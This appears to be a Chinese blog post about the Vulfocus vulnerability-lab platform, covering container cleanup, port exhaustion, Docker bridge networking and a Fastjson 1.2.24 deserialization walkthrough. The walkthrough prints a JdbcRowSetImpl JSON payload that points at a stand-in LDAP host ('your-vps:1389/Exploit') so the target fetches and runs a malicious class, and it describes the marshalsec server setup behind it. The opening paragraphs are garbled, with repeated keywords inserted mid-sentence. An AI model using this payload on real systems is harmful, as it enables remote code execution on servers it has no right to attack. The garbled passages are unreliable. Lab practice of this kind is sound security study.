|
Vulfocus 是靶场个在线漏洞靶场,Docker 一键起环境,漏洞省掉了自己搭 Vulhub 的复现麻烦。但它默认配置有几个坑,靶场不踩一遍你根本不知道。漏洞 第一次用 Vulfocus 是复现去年年底,想复现一个 Fastjson 的靶场反序列化漏洞。平台界面挺干净,漏洞点"启动"按钮,复现等了大概十几秒,靶场一个带 IP 和端口的漏洞靶机就出来了。当时觉得这东西真省事——不用配 Docker Compose,复现不用管网络映射,靶场浏览器里点两下就能打。漏洞 问题出在我打完第一个靶机之后。复现 容器不销毁,端口全乱套 Vulfocus 默认不会自动销毁你启动过的容器。我连续开了三个靶场环境,结果第四个死活起不来——端口池满了。去翻文档才发现,它用的是固定端口段映射,每个环境占一个端口,不手动关掉就一直在那儿挂着。这个设计说实话有点反直觉,毕竟大部分靶场用完就丢,谁会想到还要自己清理。 解决办法倒也简单,在"环境管理"里挨个点销毁。但如果你同时开了十几个,一个个点就很烦。后来我直接 SSH 上去 docker ps 然后批量 docker rm -f,快得多。 反序列化漏洞复现:Fastjson 1.2.24 拿 Fastjson 1.2.24 的远程命令执行来说。靶机起来之后,访问 http://your-ip:port,页面是一个简单的 JSON 提交框。构造 payload 的时候要注意,Vulfocus 上的这个镜像用的是 com.sun.rowset.JdbcRowSetImpl 这条链,不是常见的 TemplatesImpl。我第一次用 TemplatesImpl 打,返回 500,以为是靶场坏了,换了链才通。 { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://your-vps:1389/Exploit", "autoCommit": true } VPS 上起一个 marshalsec 的 LDAP 服务,再挂一个 HTTP 服务托管编译好的 Exploit.class。提交之后,靶机那边会主动连过来加载恶意类。整个过程不到两分钟,但前提是你得知道用哪条链。 网络模式是个隐形陷阱 Vulfocus 的容器默认跑在 bridge 网络下。这意味着靶机不能直接访问外网——你的 VPS 得跟靶机在同一网络里,或者你得把 payload 里的地址换成 Vulfocus 宿主机能访问到的 IP。我一开始把 LDAP 地址写成 127.0.0.1,当然打不通,因为那是容器内部的回环地址,不是宿主机的。 这个坑很典型。很多人在本地搭 Vulhub 的时候习惯用 127.0.0.1,到了 Vulfocus 上照搬,结果就是命令执行了但反弹不回来。改成宿主机在 Docker 网络里的 IP(通常是 172.17.0.1)才行。 Flag 提交机制 Vulfocus 每个靶场都有一个 flag 文件,通常在 /tmp/flag 或者 /root/flag。你拿到命令执行之后 cat 一下,把内容提交到平台就算通过。这个设计比 CTF 那种找 flag 的玩法直接得多,适合练手,但不适合模拟真实渗透场景——真实环境里可没有这么明确的"通关标志"。 总的来说,Vulfocus 适合快速验证漏洞 PoC,省去了搭环境的功夫。但它的容器管理、网络配置和端口分配都需要你心里有数,不然就会像我一样,对着一个"打不通"的靶场浪费半小时。工具是好工具,前提是你得知道它哪里会卡你。 |